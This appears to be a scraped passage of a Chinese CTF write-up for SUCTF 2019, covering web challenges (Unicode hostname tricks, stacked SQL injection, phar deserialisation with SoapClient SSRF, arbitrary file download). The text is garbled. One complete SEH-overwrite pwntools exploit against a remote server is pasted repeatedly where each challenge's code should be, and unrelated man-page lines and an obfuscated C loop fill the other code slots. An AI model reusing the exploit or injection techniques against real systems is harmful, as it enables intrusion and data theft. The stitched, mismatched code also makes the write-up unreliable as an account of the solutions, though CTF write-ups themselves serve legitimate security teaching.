print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

2

所以简单的做法就是把上面的可用字符串再给fuzz一遍,最终得到如下payload

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

3

所以我们就可以写脚本来一键getshell了

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

4

最终得到flag

kn0ck suctf19 writeup - 安全客,安全资讯平台

0x03 Pythonginx

题目描述

http://47.111.59.243:9000/

题目解答

右键直接看到题目的源代码(完好格式)

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

5

看到这个代码立马想到最近blackhat大会上公布的几个trick,具体链接如下

https://bugs.python.org/issue36742

https://bugs.python.org/issue36216

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

网页源码的注释上也有提示

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

6

所以我们结合上面的信息,来构造payload如下:

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

7

此处用于构造c的字符来源

https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols

经过一番fuzz,在配置文件中读到flag的路径和名称

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

8

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

9

最终读到flag

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

0

kn0ck suctf19 writeup - 安全客,安全资讯平台

如果你的字典不够给力,fuzz不到的话,不妨试试这个

https://github.com/zer0yu/Berserker/blob/master/webfuzz/fi/lfi.txt

0x04 easy_sql

题目描述

http://47.111.59.243:9061

题目解答

显示随便测了一下,发现一般会有以下四种返回结果

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

1

可以看到字符长度是有限制的,而且过滤了一些关键词

之后fuzz测试的过程中发现是堆叠注入

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

2

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

3

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

4

所以最后解决方法是

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

5

别问,问就是fuzz

https://github.com/zer0yu/Berserker/blob/master/webfuzz/sqli/sql_fuzz.txt

0x05 Upload labs 2

题目描述

去看看你自己到底传了个啥 http://47.111.59.243:9025/ 交flag时去掉引号

题目解答

题目有附件,所以是一个代码审计题目,先看最终怎么可以getflag,发现有对应的函数,在admin.php

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

6

而且还限制了必须是本地来访问这个admin.php文件

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

7

所以目标很明确,就是要ssrf的点来触发这个,从而把flag发给我

但是很尴尬的是在func.php中的正则,过滤掉了phar这个关键字,所以初看,感觉点没有办法触发,但是后面经过分析正则的话,发现使用如下方式可以bypass掉这个正则过滤,进而触发phar反序列化。

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

8

之所以想到这个phar文件,是因为这是一个上传题,而且存在一个疑似phar反序列化的触发点—func.php中的这几行代码

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

9

具体来说就是getMIME()函数中的finfo_open函数

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

0

但是网站并没有公开说明这个函数可以触发phar反序列化,我是怎么知道的呢?

zsx师傅曾在他的文章《Phar与Stream Wrapper造成PHP RCE的深入挖掘》写到,只要函数在底层调用了这个php_stream_locate_url_wrapper函数,那么就能触发phar反序列化,而finfo_open函数在底层恰好就是使用了这个函数。(其实这个点本地盲打也能触发,所以发现的话也不难)

ext/fileinfo/fileinfo.c:517

kn0ck suctf19 writeup - 安全客,安全资讯平台

到此为止反序列化已经完整了,那么怎么进行ssrf呢?很容易联想到之前wupco出的easyphp中的SoapClient,所以就可以构造如下payload

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

1

修改后缀为gif之后上传得到上传路径来触发

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

2

直接得到flag

kn0ck suctf19 writeup - 安全客,安全资讯平台

0x06 Cocktail’s Remix

题目描述

http://47.111.59.243:9016/

题目解答

访问 http://47.111.59.243:9016/

发现回显的是 It Works!

所以尝试爆破路径

结果发现 http://47.111.59.243:9016/robots.txt

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

3

存在任意文件下载漏洞 http://47.111.59.243:9016/download.php

参数是fuzz出来的filename(字典链接同上)

kn0ck suctf19 writeup - 安全客,安全资讯平台

继续使用上述字典进行fuzz,筛选出有价值的信息如下

/etc/hosts发现是存在内网的mysql服务器的

